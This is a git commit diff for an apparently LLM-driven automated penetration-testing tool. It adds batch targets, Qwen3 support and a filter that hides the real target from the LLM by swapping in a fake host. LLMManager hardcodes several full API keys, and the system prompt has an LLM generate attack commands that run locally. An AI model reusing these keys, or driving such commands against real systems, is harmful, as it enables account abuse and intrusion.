Browse Source

v0.5.3

a.增加了批量添加目标,重新调整了任务的启停;
b.增加了数据过滤功能,过滤提交到llm的目标信息;
c.增加了对通以qwen3模型的对接;
d.https有短数据包不及时发送到前端的问题,暂时调回http;
e.其他的一些bug和工具迭代。
master
张龙 13 hours ago
parent
commit
32c6f2f65a
  1. 1
      config.yaml
  2. 5
      mycode/AttackMap.py
  3. 47
      mycode/DBManager.py
  4. 20
      mycode/DataFilterManager.py
  5. 2
      mycode/InstructionManager.py
  6. 101
      mycode/LLMManager.py
  7. 17
      mycode/PythonTManager.py
  8. 47
      mycode/PythoncodeTool.py
  9. 9
      mycode/TargetManager.py
  10. 180
      mycode/TaskManager.py
  11. 217
      mycode/TaskObject.py
  12. 9
      mycode/WebSocketManager.py
  13. 3
      pipfile
  14. 6
      run.py
  15. 153
      test.py
  16. 4
      tools/CurlTool.py
  17. 42
      tools/EchoTool.py
  18. 2
      tools/ToolBase.py
  19. 27
      web/API/task.py
  20. 10
      web/API/wsm.py
  21. 8
      web/__init__.py
  22. 12
      web/common/utils.py
  23. 147
      web/main/static/resources/scripts/his_task_modal.js
  24. 2
      web/main/static/resources/scripts/my_web_socket.js
  25. 301
      web/main/static/resources/scripts/node_tree.js
  26. 108
      web/main/static/resources/scripts/task_manager.js
  27. 91
      web/main/templates/his_task.html
  28. 129
      web/main/templates/index.html
  29. 34
      web/main/templates/task_manager.html
  30. 6
      web/main/templates/task_manager_modal.html

1
config.yaml

@ -1,5 +1,6 @@
#工作模式
App_Work_type: 0 #0-开发模式,只允许单步模式 1-生产模式 包裹下的逻辑可以正常执行
max_run_task: 3 #允许同时运行的任务数
#线程休眠的时间
sleep_time: 20

5
mycode/AttackMap.py

@ -50,6 +50,7 @@ class AttackTree:
"node_bwork":node.bwork,
"node_vultype":node.vul_type,
"node_vulgrade":node.vul_grade,
"node_vulinfo":node.vul_info,
"node_workstatus":node.get_work_status(),
"children":[self.node_to_dict(child) for child in node.children] if node.children else []
}
@ -270,6 +271,10 @@ class TreeNode:
self.copy_messages(p_msg,c_msg)
self._instr_queue.append(instr)
def test_add_instr(self,instr):
self._instr_queue.append(instr)
self._llm_quere = []
def get_instr(self):
return self._instr_queue.pop(0) if self._instr_queue else None

47
mycode/DBManager.py

@ -161,11 +161,11 @@ class DBManager:
return data
def get_run_tasks(self):
strsql = "select ID,task_target,task_status,work_type,cookie_info,llm_type from task where task_status <> 2;"
strsql = "select ID,task_target,task_status,work_type,cookie_info,llm_type,safe_rank,fake_target from task where task_status <> 2 order by ID;"
datas = self.do_select(strsql)
return datas
def start_task(self,test_target,cookie_info,work_type,llm_type) -> int:
def start_task(self,test_target,cookie_info,work_type,llm_type,fake_target) -> int:
'''
数据库添加检测任务
:param task_name:
@ -174,9 +174,9 @@ class DBManager:
'''
task_id =0
start_time = get_local_timestr()
sql = "INSERT INTO task (task_name,task_target,start_time,task_status,safe_rank,work_type,cookie_info,llm_type) " \
"VALUES (%s,%s,%s,%s,%s,%s,%s,%s)"
params = (test_target,test_target,start_time,1,0,work_type,cookie_info,llm_type)
sql = "INSERT INTO task (task_name,task_target,start_time,task_status,safe_rank,work_type,cookie_info,llm_type,fake_target) " \
"VALUES (%s,%s,%s,%s,%s,%s,%s,%s,%s)"
params = (test_target,test_target,start_time,1,0,work_type,cookie_info,llm_type,fake_target)
bok,task_id = self.safe_do_sql(sql,params,1)
return task_id
@ -186,6 +186,19 @@ class DBManager:
bok,_ = self.safe_do_sql(strsql, params)
return bok
#0<-->1
def update_task_status(self,task_id,new_status):
strsql = "update task set task_status=%s where ID=%s;"
params = (new_status,task_id)
bok, _ = self.safe_do_sql(strsql, params)
return bok
def update_task_work_type(self,task_id,new_work_type):
strsql = "update task set work_type=%s where ID=%s;"
params = (new_work_type, task_id)
bok, _ = self.safe_do_sql(strsql, params)
return bok
def del_task(self,task_id):
params = (task_id)
strsql = "delete from task where ID=%s;"
@ -277,13 +290,11 @@ class DBManager:
strsql = '''
select ID,node_path,do_sn,instruction,result from task_result where task_id = %s
'''
params = [task_id]
if nodename.strip():
strsql += " and nodename like %s;"
params = (task_id,nodename)
else:
strsql += ";"
params = (task_id)
datas = self.safe_do_select(strsql,params)
strsql += " and node_path like %s"
params.append(f"%{nodename}%") # 在参数中添加通配符
datas = self.safe_do_select(strsql,tuple(params))
return datas
#插入漏洞数据
@ -308,12 +319,12 @@ class DBManager:
# 按需添加其他条件
if nodename and nodename.strip(): # 检查nodename是否非空(去除前后空格后)
conditions.append("node_path=%s")
params.append(nodename)
conditions.append("node_path like %s")
params.append(f"%{nodename}%")
if vultype and vultype.strip(): # 检查vultype是否非空
conditions.append("vul_type=%s")
params.append(vultype)
conditions.append("vul_type like %s")
params.append(f"%{vultype}%")
if vullevel and vullevel.strip(): # 检查vullevel是否非空
conditions.append("vul_level=%s")
@ -387,6 +398,12 @@ class DBManager:
bok,_ = self.safe_do_sql(strsql,params)
return bok
def get_one_instr(self,instr_id):
strsql = "select instruction from task_result where ID = %s"
params = (instr_id)
data = self.safe_do_select(strsql,params,1)
return data[0]
def test(self):
# 建立数据库连接

20
mycode/DataFilterManager.py

@ -0,0 +1,20 @@
class DataFilterManager:
def __init__(self,target,fake_target):
self.real_target = target
self.fake_target = fake_target
def filter_prompt(self,prompt):
fake_prompt = prompt.replace(self.real_target,self.fake_target)
return fake_prompt
def filter_instruction(self,instruction):
real_instruction = instruction.replace(self.fake_target,self.real_target)
return real_instruction
def filter_result(self,instr,result):
fake_instr = instr.replace(self.real_target,self.fake_target)
fake_result = result.replace(self.real_target,self.fake_target)
return fake_instr,fake_result

2
mycode/InstructionManager.py

@ -73,7 +73,7 @@ class InstructionManager:
print(f"未知工具:{tool_name}")
#return bres,instr,result,source_result,ext_params
return instr, result, source_result, ext_params #取消bres的返回,所有指令执行结果多需要返回到Llm,用于控制节点的状态
return bres,instr, result, source_result, ext_params #取消bres的返回,所有指令执行结果多需要返回到Llm,用于控制节点的状态
#过来指令:合规、判重、待执行等
def _instruction_filter(self,instruction):

101
mycode/LLMManager.py

@ -20,7 +20,6 @@ class LLMManager:
self.api_url = None
#temperature设置
#DS------代码生成/数学解题:0.0 -- 数据抽取/分析:1.0 -- 通用对话:1.3 -- 翻译:1.3 -- 创意类写作:1.5
if illm_type == 0: #腾讯云
self.api_key = "fGBYaQLHykBOQsFwVrQdIFTsYr8YDtDVDQWFU41mFsmvfNPc"
self.api_url = ""
@ -28,13 +27,10 @@ class LLMManager:
self.api_key ="sk-10360148b465424288218f02c87b0e1b"
self.api_url ="https://api.deepseek.com/v1"
self.model = "deepseek-reasoner" #model=deepseek-reasoner -- R1 model=deepseek-chat --V3
# 创建会话对象 -- 一个任务的LLM必须唯一
self.client = OpenAI(api_key=self.api_key, base_url=self.api_url)
elif illm_type == 2: #2233.ai
self.api_key = "sk-J3562ad9aece8fd2855bb495bfa1a852a4e8de8a2a1IOchD"
self.api_url = "https://api.gptsapi.net/v1"
self.model = "o3-mini-2025-01-31"
self.client = OpenAI(api_key=self.api_key,base_url=self.api_url)
elif illm_type ==3: #GPT
# 定义代理服务器地址
proxy_url = "http://192.168.3.102:3128"
@ -43,11 +39,17 @@ class LLMManager:
self.api_key ="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"
self.api_url = "https://api.openai.com/v1"
self.model = "o3-mini-2025-01-31"
openai.proxy = proxy_url
openai.api_key = self.api_key
#self.client = openai
self.client = OpenAI(api_key=self.api_key,base_url=self.api_url)
elif illm_type ==4:#通义Qwen3
self.api_key ="sk-48028b85e7604838b5be5bf6a90222cb"
self.api_url ="https://dashscope.aliyuncs.com/compatible-mode/v1"
self.model = "qwen3-235b-a22b"
else:
self.logger.error("模型参数选择异常!")
return
# 创建会话对象 -- 一个任务的LLM必须唯一
self.client = OpenAI(api_key=self.api_key, base_url=self.api_url)
'''
**决策原则**
@ -64,23 +66,23 @@ class LLMManager:
"content":'''
你是一位渗透测试专家来指导本地程序进行渗透测试由你负责动态控制整个渗透测试过程根据当前测试状态和返回结果决定下一步测试指令推动测试前进直至完成渗透测试
**总体要求**
1.以测试目标为根节点结合信息收集和测试反馈的结果以新的测试点作为子节点逐步规划和推进下一步测试形成树型结构测试树
2.每次规划测试指令时只关注当前节点的测试推进若涉及新增节点原则上只应在当前节点下新增避免测试路径的混乱
3.只有当收到当前节点的所有测试指令的结果且没有新的测试指令需要执行时再判断是否需要新增子节点进一步进行验证测试则结束该路径的验证
4.若一次性新增的节点过多无法为每个节点都匹配测试指令请优先保障新增测试节点的完整性若有新增的节点未能匹配测试指令必须返回未匹配指令的节点列表
5.生成的指令有两类节点指令和测试指令指令之间必须以空行间隔不能包含注释和说明
6.本地程序会执行生成的指令但不具备分析判断和保持会话能力只会把执行结果返回提交
1.以测试目标为根节点结合信息收集和测试反馈的结果以新的测试点作为子节点逐步规划和推进下一步测试形成树型结构测试树测试点需尽量全面
2.只有当收到当前节点的所有测试指令的结果且没有新的测试指令需要执行时再判断是否需要新增子节点进一步进行验证测试若没有则结束该路径的验证
3.若一次性新增的节点过多无法为每个节点都匹配测试指令请优先保障新增测试节点的完整性若有新增的节点未能匹配测试指令必须返回未匹配指令的节点列表
4.生成的指令有两类节点指令和测试指令指令之间必须以空行间隔不能包含注释和说明
5.本地程序会执行生成的指令但不具备分析判断和保持会话能力只会把执行结果返回提交
6.只有当漏洞验证成功后才添加该节点的漏洞信息
7.若无需要处理的节点数据节点指令可以不生成
8.只有当漏洞验证成功才更新该节点的漏洞信息
8.若节点已完成测试测试指令可以不生成
**测试指令生成准则**
1.测试指令必须对应已有节点或同时生成新增节点指令
2.优先使用覆盖面广成功率高的指令不要生成重复的指令
3.若需要多条指令配合测试请生成对应的python指令完成闭环返回
4.需要避免用户交互必须要能返回
1.可以是dash指令也可以是python指令必须按格式要求生成
2.必须对应已有节点或同时生成新增节点指令
3.优先使用覆盖面广成功率高的指令不要生成重复的指令
4.若需要多条指令配合测试请生成对应的python指令完成闭环返回
5.避免用户交互必须要能返回
**节点指令格式**
- 新增节点{\"action\":\"add_node\", \"parent\": \"父节点\", \"nodes\": \"节点1,节点2\"};
- 生成指令节点列表{\"action\": \"no_instruction\", \"nodes\": \"节点1,节点2\"};
- 匹配指令的节点列表{\"action\": \"no_instruction\", \"nodes\": \"节点1,节点2\"};
- 漏洞验证成功{\"action\": \"find_vul\", \"node\": \"节点\",\"vulnerability\": {\"name\":\"漏洞名称\",\"risk\":\"风险等级(低危/中危/高危)\",\"info\":\"补充信息(没有可为空)\"}};
- 节点完成测试{\"action\": \"end_work\", \"node\": \"节点\"};
**测试指令格式**
@ -90,7 +92,6 @@ class LLMManager:
**核心要求**
- 指令之间必须要有一个空行
- 需确保测试指令的节点路径和指令的目标节点一致,例如针对子节点的测试指令节点路径不能指向当前节点
- 根据反馈信息测试目标有可能产生高危漏洞的必须新增节点并提供测试指令
**响应示例**
{\"action\":\"add_node\", \"parent\": \"192.168.1.100\", \"nodes\": \"3306端口,22端口\"}
@ -100,7 +101,7 @@ mysql -u root -p 192.168.1.100
'''}] # 一个messages
# 调用LLM生成指令
def get_llm_instruction(self,prompt,node):
def get_llm_instruction(self,prompt,node,DataFilter):
'''
1.由于大模型API不记录用户请求的上下文一个任务的LLM不能并发
:param prompt:用户本次输入的内容
@ -120,51 +121,66 @@ mysql -u root -p 192.168.1.100
"messages": sendmessage,
}
# 某些模型额外的参数
stream = False
if self.model == "o3-mini-2025-01-31":
params["reasoning_effort"] = "high"
elif self.model == "qwen3-235b-a22b":
stream = True
params["stream"] = stream
params["extra_body"] = {"enable_thinking": True,"thinking_budget": 3000}
try:
# 调用 API
response = self.client.chat.completions.create(**params)
except APITimeoutError:
self.logger.error("OpenAI API 请求超时")
self.logger.error("LLM API 请求超时")
return False, "","","", f"调用超时(model={self.model})"
except APIConnectionError as e:
self.logger.error(f"网络连接错误: {e}")
return False, "","", "", "网络连接错误"
except OpenAIError as e:
# 包括 400/401/403/500 等各种 API 错误
self.logger.error(f"OpenAI API 错误: {e}")
self.logger.error(f"LLM API 错误: {e}")
return False, "","", "", f"API错误: {e}"
except Exception as e:
# 兜底,防止意外
self.logger.exception("调用 LLM 时出现未预期异常")
return False, "","", "", f"未知错误: {e}"
#LLM返回结果处理
choice = response.choices[0].message
reasoning_content = ""
content = ""
#LLM返回处理
if self.model == "deepseek-reasoner":
reasoning_content = getattr(choice, "reasoning_content", "")
content = choice.content
# 记录llm历史信息
node.cur_messages.append({'role': 'assistant', 'content': content})
elif self.model == "deepseek-chat":
content = choice
node.cur_messages.append(content)
elif self.model == "o3-mini-2025-01-31":
content = choice.content
# 记录llm历史信息
node.cur_messages.append({'role': 'assistant', 'content': content})
else:
self.logger.error("处理到未预设的模型!")
return False,"","","","处理到未预设的模型!"
if stream: #流式模式
is_answering = False
for chunk in response:
if not chunk.choices:
continue
delta = chunk.choices[0].delta
if hasattr(delta, "reasoning_content") and delta.reasoning_content is not None:
reasoning_content += delta.reasoning_content
# 收到content,开始进行回复
if hasattr(delta, "content") and delta.content:
if not is_answering:
is_answering = True
content += delta.content
else:
#LLM返回结果处理
choice = response.choices[0].message
#LLM返回处理
if self.model == "deepseek-reasoner":
reasoning_content = getattr(choice, "reasoning_content", "")
content = choice.content
elif self.model == "o3-mini-2025-01-31" or self.model == "qwen-max-latest":
content = choice.content
else:
self.logger.error("处理到未预设的模型!")
return False,"","","","处理到未预设的模型!"
# 记录llm历史信息
node.cur_messages.append({'role': 'assistant', 'content': content})
print(content)
real_con = DataFilter.filter_instruction(content)
#按格式规定对指令进行提取
node_cmds,commands = self.fetch_instruction(content)
node_cmds,commands = self.fetch_instruction(real_con)
return True,node_cmds,commands,reasoning_content, content
def fetch_instruction(self,response_text):
@ -179,6 +195,7 @@ mysql -u root -p 192.168.1.100
:param text: 输入文本
:return: node_cmds,python_blocks,shell_blocks
'''
#针对llm的回复,提取节点操作数据和执行的指令----
# 正则匹配 Python 代码块
python_blocks = re.findall(r"```python-(.*?)```", response_text, flags=re.DOTALL)

17
mycode/PythonTManager.py

@ -14,7 +14,17 @@ class PythonTManager:
self.python_tool = PythoncodeTool(maxnum) #python工具实例
def __del__(self):
self.python_tool.shutdown()
self.shutdown_pool()
def start_pool(self):
return self.python_tool.start_pool()
def shutdown_pool(self):
self.python_tool.shutdown_pool()
def is_pool_active(self):
return self.python_tool.pool_active
def execute_instruction(self,instruction):
bwork = False
@ -23,14 +33,15 @@ class PythonTManager:
if self.cur_num < self.maxnum:
self.cur_num += 1
bwork = True
if bwork:#还有空的子进程
#提交给进程池执行
_,instruction,analysis,_,ext_params = self.python_tool.execute_instruction(instruction)
bsuccess,instruction,analysis,_,ext_params = self.python_tool.execute_instruction(instruction)
#执行完成后,数量减一
with self.put_lock:
self.cur_num -= 1
#返回结果
return instruction,analysis,analysis,ext_params
return bsuccess,instruction,analysis,analysis,ext_params
else: #如果没获取的许可,则等待N秒后再尝试---存在问题:多线程间没有先来先到的机制了,有可能第一个来排队的一直等到最后
time.sleep(20) #休眠20秒

47
mycode/PythoncodeTool.py

@ -22,10 +22,13 @@ import base64
import itertools
import random
import tempfile
import multiprocessing
import textwrap
import smb
import pexpect
import smbclient
import binascii
from mysql.connector import Error
from impacket.smbconnection import SMBConnection
from itertools import product
from socket import create_connection
from cryptography import x509
@ -60,7 +63,7 @@ def _execute_dynamic(instruction_str):
'set': set, 'str': str, 'sum': sum, 'type': type,
'open': open, 'Exception': Exception, 'locals': locals,
'ConnectionResetError':ConnectionResetError,'BrokenPipeError':BrokenPipeError,
'bytes':bytes,'tuple':tuple,
'bytes':bytes,'tuple':tuple,'format':format
}
# 构造安全的 globals
safe_globals = {
@ -99,7 +102,11 @@ def _execute_dynamic(instruction_str):
'x509':x509,
'default_backend':default_backend,
'product':product,
'create_connection':create_connection
'create_connection':create_connection,
'smbclient':smbclient,
'binascii':binascii,
'Error':Error,
'SMBConnection':SMBConnection
}
safe_locals = {}
try:
@ -126,7 +133,28 @@ def _execute_dynamic(instruction_str):
class PythoncodeTool():
def __init__(self,max_num):
self.proc_pool = ProcessPoolExecutor(max_workers=max_num)
self.max_workers = max_num
self.proc_pool = None
self.pool_active = False
#self.proc_pool = ProcessPoolExecutor(max_workers=max_num)
def start_pool(self):
if self.proc_pool is not None and self.pool_active:
print("进程池已经在运行中")
return False
print("启动进程池...")
self.proc_pool = ProcessPoolExecutor(max_workers=self.max_workers)
self.pool_active = True
return True
def shutdown_pool(self):
if self.proc_pool is not None and self.pool_active:
print("关闭进程池...")
self.proc_pool.shutdown(wait=False) #wait=True 是阻塞执行,False立即返回
self.pool_active = False
self.proc_pool = None
else:
print("进程池已经是关闭状态")
def fix_code(self,code: str) -> str:
"""
@ -257,14 +285,18 @@ class PythoncodeTool():
str:执行的指令
str:执行指令的结果
'''
ext_params = ReturnParams()
ext_params["is_user"] = False # 是否要提交用户确认 -- 默认False
ext_params["is_vulnerability"] = False # 是否是脆弱点
if not self.pool_active:
return False,instruction_old,"本地程序出行错误,请结束该节点的测试!","",ext_params
# 第一步:验证指令合法性
instruction,time_out,error = self.validate_instruction(instruction_old)
if not instruction:
return False, instruction_old, error,"",ext_params
return True, instruction_old, error,"",ext_params
# 过滤修改后的指令是否需要判重?同样指令再执行结果一致?待定---#?
# 第二步:执行指令
@ -283,10 +315,7 @@ class PythoncodeTool():
# 第三步:分析执行结果
analysis = self.analyze_result(output, instruction,"","")
# 指令和结果入数据库
# ?
if not analysis: # analysis为“” 不提交LLM
return False, instruction, analysis,"",ext_params
return True, instruction, analysis,"",ext_params
def analyze_result(self, result,instruction,stderr,stdout):

9
mycode/TargetManager.py

@ -28,19 +28,22 @@ class TargetManager:
'''
regex_match = re.fullmatch(pattern, input_str)
type = None
fake_target = ""
if regex_match:
domain_or_ip = regex_match.group(2)
# 仅对 IPv4 格式的字符串进行有效性验证
if re.fullmatch(r'\d{1,3}(\.\d{1,3}){3}', domain_or_ip):
if not self._is_valid_ipv4(domain_or_ip):
return False, None,type
return False, None,type,fake_target
else:
type = 1 #IP
fake_target = "192.168.3.107"
else:
type = 2 #domain
return True, domain_or_ip,type
fake_target = "www.czzfxxkj.com"
return True, domain_or_ip,type,fake_target
else:
return False, None,type
return False, None,type,fake_target
g_TM = TargetManager()

180
mycode/TaskManager.py

@ -2,21 +2,26 @@ from myutils.ConfigManager import myCongif
from mycode.TaskObject import TaskObject
from mycode.DBManager import app_DBM
from myutils.PickleManager import g_PKM
from myutils.MyLogger_logger import LogHandler
from mycode.TargetManager import TargetManager # 从模块导入类
import time
import threading
class TaskManager:
def __init__(self):
self.logger = LogHandler().get_logger("TaskManager")
self.TargetM = TargetManager()
self.tasks = {} # 执行中的任务,test_id为key
self.num_threads = myCongif.get_data("Task_max_threads")
self.max_run_task = myCongif.get_data("max_run_task")
self.cur_task_run_num = 0
#获取系统信息 -- 用户可修改的都放在DB中,不修改的放config
data = app_DBM.get_system_info()
self.local_ip = data[0]
self.version = data[1]
self.tasks_lock = threading.Lock() #加个线程锁?不使用1,quart要使用的异步锁,2.限制只允许一个用户登录,3.遍历到删除的问题不大
self.tasks_lock = threading.Lock()
self.web_cur_task = 0 #web端当前显示的
#判断目标是不是在当前执行任务中,---没加锁,最多跟删除有冲突,问题应该不大
def is_target_in_tasks(self,task_target):
for task in self.tasks.values():
@ -26,7 +31,7 @@ class TaskManager:
#程序启动后,加载未完成的测试任务
def load_tasks(self):
'''程序启动时,加载未执行完成的任务'''
'''程序启动时,加载未执行完成的,未点击结束的任务 -- task_status<>2'''
datas = app_DBM.get_run_tasks()
for data in datas:
task_id = data[0]
@ -35,77 +40,136 @@ class TaskManager:
work_type = data[3]
cookie_info = data[4]
llm_type = data[5]
safe_rank = data[6]
fake_target = data[7]
# 创建任务对象
task = TaskObject(task_target, cookie_info, work_type, llm_type, self.num_threads, self.local_ip,self)
#读取attact_tree
task = TaskObject(task_target, cookie_info, work_type, llm_type, self.num_threads, self.local_ip,fake_target,self,safe_rank)
#读取attact_tree---load的任务应该都要有attact_tree
attack_tree = g_PKM.ReadData(str(task_id))
#开始任务 ---会根据task_status来判断是否需要启动工作线程
task.start_task(task_id,task_status,attack_tree)
# 保留task对象
self.tasks[task_id] = task
if attack_tree:
#恢复数据
task.init_task(task_id,attack_tree)
#开始任务 ---根据task_status来判断是否需要启动工作线程
if task_status == 1:
if self.cur_task_run_num < self.max_run_task: #load 是程序刚起,只有主线程,不加锁
bsuc,strout = task.start_task()
if bsuc:
self.cur_task_run_num +=1
else:
task.update_task_status(0)
else:
self.logger.error("重载未结束任务,不应该超过最大运行数量的task_status为启动状态")
task.update_task_status(0)#尝试硬恢复
# 内存保留task对象
self.tasks[task_id] = task
else:
self.logger.error(f"{task_id}任务的节点树数据缺失,需要检查!")
#新建测试任务
def create_task(self, test_target,cookie_info,llm_type,work_type):
#新建测试任务--2025-4-28调整为可以批量添加--cookie_info信息取消
def create_task(self, test_targets,llm_type,work_type):
"""创建新任务--create和load复用?--
1.创建和初始化task_object;
2.创建task_id
3.启动工作线程
return T/F
return 失败的list
"""
if self.is_target_in_tasks(test_target):
raise ValueError(f"Task {test_target} already exists")
#创建任务对象
task = TaskObject(test_target,cookie_info,work_type,llm_type,self.num_threads,self.local_ip,self)
#获取task_id -- test_target,cookie_info,work_type,llm_type 入数据库
task_id = app_DBM.start_task(test_target,cookie_info,work_type,llm_type)
if task_id >0:
#创建后启动工作--同时赋值task_id
task.start_task(task_id)
#保留task对象
self.tasks[task_id] = task
return True
else:
return False
fail_list = []
target_list = test_targets.split(",")
for target in target_list:
#这里判断目标的合法性
bok,target,type,fake_target = self.TargetM.validate_and_extract(target) #是否还需要判断待定?
if not bok:#目标不合法
fail_list.append(target)
continue
#判断是否已在执行列表
if self.is_target_in_tasks(target):
fail_list.append(target)
continue
#raise ValueError(f"Task {test_target} already exists")
#创建任务对象--cookie参数取消
task = TaskObject(target,"",work_type,llm_type,self.num_threads,self.local_ip,fake_target,self)
#获取task_id -- test_target,cookie_info,work_type,llm_type 入数据库
task_id = app_DBM.start_task(target,"",work_type,llm_type,fake_target)
if task_id >0:
#2025-4-28调整批量添加任务,默认不启动
task.init_task(task_id)
#保留task对象
self.tasks[task_id] = task
else:
fail_list.append(target)
result = ",".join(fail_list)
return result
def over_task(self,task_id):
#开启task任务--正常只应该有web触发调用
def start_task_TM(self,task_id):
task = self.tasks[task_id]
if task:
task.brun = False
#修改数据库数据
bsuccess = app_DBM.over_task(task_id)
if bsuccess:
del self.tasks[task_id] #删除缓存
return bsuccess,""
with self.tasks_lock:
if self.cur_task_run_num < self.max_run_task:
#启动工作线程和进程
bsuc,error = task.start_task()
if bsuc:
self.cur_task_run_num += 1
return True,"启动成功"
else:
return False,error
else:
return False,f"已到达最大的启动数--{self.max_run_task}"
return False,"该任务不存在,程序逻辑存在问题!"
#停止task任务
def stop_task_TM(self,task_id):
task = self.tasks[task_id]
if task:
if task.brun and task.task_status ==1: #是运行状态
with self.tasks_lock:
task.stop_task() #停止线程应该就没什么失败需要处理的
self.cur_task_run_num -= 1
return True,"停止任务成功"
else:
return True,"该任务已处于停止状态"
return False,"该任务不存在,程序逻辑存在问题!"
#结束任务
def over_task(self,task_id):
#先尝试停止
bsuccess,_ = self.stop_task_TM(task_id)
time.sleep(1)
if bsuccess:
#再结束
bsuccess = app_DBM.over_task(task_id) # 不管是不是修改(置2)成功,都执行结束
del self.tasks[task_id] # 删除缓存
return True,"结束任务成功"
else:
return False,"没有找到对应的任务"
return False,"该任务不存在,程序逻辑存在问题!"
#删除任务
def del_task(self,task_id):
if g_PKM.DelData(str(task_id)):
bsuccess = app_DBM.del_task(task_id)
return bsuccess,""
else:
return False,"删除对应文件失败"
#删除数据记录
app_DBM.del_task(task_id)
#删除节点树
g_PKM.DelData(str(task_id))
return True,"删除任务成功!"
#控制task启停----线程不停
#控制task启停----线程不停 --2025-4-28 配合批量任务,需要停止工作线程了
def control_taks(self,task_id):
task = self.tasks[task_id]
if task:
if task.task_status == 0: # 0-暂停,1-执行中,2-已完成
task.task_status = 1
bsuc,error = self.start_task_TM(task_id) #任务是否存在的状态有点重复
elif task.task_status == 1:
task.task_status = 0
bsuc,error = self.stop_task_TM(task_id)
else:
return False,"当前任务状态不允许修改,请联系管理员!",task.task_status
else:
return False,"没有找到对应的任务",None
return True,"",task.task_status
return bsuc,error,task.task_status
# 获取任务list
def get_task_list(self):
tasks = []
for task in self.tasks.values():
one_json = {"taskID": task.task_id, "testTarget": task.target, "taskStatus": task.task_status, "safeRank": task.safe_rank,
"workType": task.work_type}
one_json = {"taskID": task.task_id, "testTarget": task.target, "taskStatus": task.task_status,
"safeRank": task.safe_rank,"workType": task.work_type}
tasks.append(one_json)
rejson = {"tasks": tasks}
return rejson
@ -132,10 +196,11 @@ class TaskManager:
task = self.tasks[task_id]
if task:
if task.task_status == 0:
task.work_type = new_work_type
task.update_task_work_type(new_work_type)
return True
return False
#------------节点操作相关-------还未二次走查-------------
#控制节点的工作状态
def node_bwork_control(self,task_id,node_path):
task = self.tasks[task_id]
@ -214,23 +279,4 @@ class TaskManager:
tasks = app_DBM.get_his_tasks(target_name,safe_rank,llm_type,start_time,end_time)
return tasks
#------------以下函数还未验证处理-----------
def start_task(self, task_id):
"""启动指定任务"""
task = self.tasks.get(task_id)
if task:
task.start(self.num_threads)
else:
print(f"Task {task_id} not found")
def stop_task(self, task_id):
"""停止指定任务"""
task = self.tasks.get(task_id)
if task:
task.stop()
else:
print(f"Task {task_id} not found")
g_TaskM = TaskManager() #单一实例

217
mycode/TaskObject.py

@ -1,7 +1,6 @@
'''
渗透测试任务管理类 一次任务的闭合性要检查2025-3-10 一次任务后要清理LLM和InstrM的数据
'''
from mycode.TargetManager import TargetManager # 从模块导入类
#from LLMManager import LLMManager # 同理修正其他导入
from mycode.ControlCenter import ControlCenter #控制中心替代LLM--控制中心要实现一定的基础逻辑和渗透测试树的维护。
from mycode.InstructionManager import g_instrM
@ -15,6 +14,7 @@ from myutils.ConfigManager import myCongif
from mycode.WebSocketManager import g_WSM
from mycode.CommandVerify import g_CV
from mycode.PythonTManager import PythonTManager
from mycode.DataFilterManager import DataFilterManager
import asyncio
import queue
import time
@ -26,12 +26,13 @@ import textwrap
class TaskObject:
def __init__(self,test_target,cookie_info,work_type,llm_type,num_threads,local_ip,taskM):
def __init__(self,test_target,cookie_info,work_type,llm_type,num_threads,local_ip,fake_target,taskM,safe_rank=0):
#功能类相关
self.taskM = taskM
self.logger = LogHandler().get_logger("TaskObject")
self.InstrM = g_instrM # 类对象渗透,要约束只读取信息,且不允许有类全局对象--持续检查
self.PythonM = PythonTManager(myCongif.get_data("Python_max_procs"))
self.DataFilter = DataFilterManager(test_target,fake_target)
self.CCM = ControlCenter() #一个任务一个CCM
self.LLM = LLMManager(llm_type) # LLM对象调整为一个任务一个对象,这样可以为不同的任务选择不同的LLM
#全局变量
@ -42,10 +43,10 @@ class TaskObject:
self.cookie = cookie_info
self.work_type = work_type #工作模式 0-人工,1-自动
self.task_id = None
self.task_status = 0 #0-暂停,1-执行中,2-已完成
self.task_status = 0 #0-暂停,1-执行中,2-已完成 3-未启动,2025-4-27为配合批量添加任务增加“未启动”状态
self.local_ip = local_ip
self.attack_tree = None #任务节点树
self.safe_rank = 0 #安全级别 0-9 #?暂时还没实现更新逻辑
self.safe_rank = safe_rank #安全级别 0-9 #?暂时还没实现更新逻辑
self.is_had_work = False
self.is_had_work_lock = threading.Lock()
@ -88,11 +89,36 @@ class TaskObject:
"""截取字符串前 max_length 个字符,并添加截断标记(确保总长度不超过限制)"""
if not s:
return s
#一些无效信息的删除
s = s.replace("pydev debugger: bytes arguments were passed to a new process creation function. Breakpoints may not work correctly.","")
# 计算保留长度(考虑截断标记占位)
truncated = s[:max_length - len(ellipsis)] if len(s) > max_length else s
return truncated + ellipsis if len(s) > max_length else s
def do_instruction(self,instruction):
instruction = textwrap.dedent(instruction.strip())
# 对多shell指令的情况进行处理--也有风险
if "python-code" not in instruction:
if "&&" in instruction:
instruction = self.mill_instr_preprocess(instruction, "&&")
elif "||" in instruction:
instruction = self.mill_instr_preprocess(instruction, "||")
start_time = get_local_timestr() # 指令执行开始时间
# 2025-4-27要重新定义bool值作用,初步想法True-作为指令已处理(执行或不执行),False-作为异常,指令还没有处理-可以回Q
if instruction.startswith("python-code"): # python代码--超过子进程数会阻塞等待,但不开始超时记时
bsuccess, instr, reslut, source_result, ext_params = self.PythonM.execute_instruction(instruction)
else: # shell指令
bsuccess, instr, reslut, source_result, ext_params = self.InstrM.execute_instruction(instruction)
end_time = get_local_timestr() # 指令执行结束时间
# 只取结果的5000长度
reslut = self.smart_truncate(reslut, 4000)
source_result = self.smart_truncate(source_result)
return start_time,end_time,bsuccess,instr,reslut,source_result,ext_params
def do_worker_th(self,index):
#线程的dbm需要一个线程一个
th_DBM = DBManager()
@ -113,23 +139,7 @@ class TaskObject:
break
self.doing_instr_list[th_index] = instruction
instruction = textwrap.dedent(instruction.strip())
#对多shell指令的情况进行处理--也有风险
if "python-code" not in instruction:
if "&&" in instruction:
instruction = self.mill_instr_preprocess(instruction, "&&")
elif "||" in instruction:
instruction = self.mill_instr_preprocess(instruction, "||")
start_time = get_local_timestr() # 指令执行开始时间
if instruction.startswith("python-code"):#python代码--超过子进程数会阻塞等待,但不开始超时记时
instr, reslut, source_result, ext_params = self.PythonM.execute_instruction(instruction)
else:#shell指令
instr, reslut, source_result, ext_params = self.InstrM.execute_instruction(instruction)
end_time = get_local_timestr() # 指令执行结束时间
#只取结果的5000长度
reslut = self.smart_truncate(reslut,4000)
source_result = self.smart_truncate(source_result)
start_time, end_time, bsuccess, instr, reslut, source_result, ext_params = self.do_instruction(instruction)
# 入数据库 -- bres True和False 都入数据库2025-3-10---加node_path(2025-3-18)#?
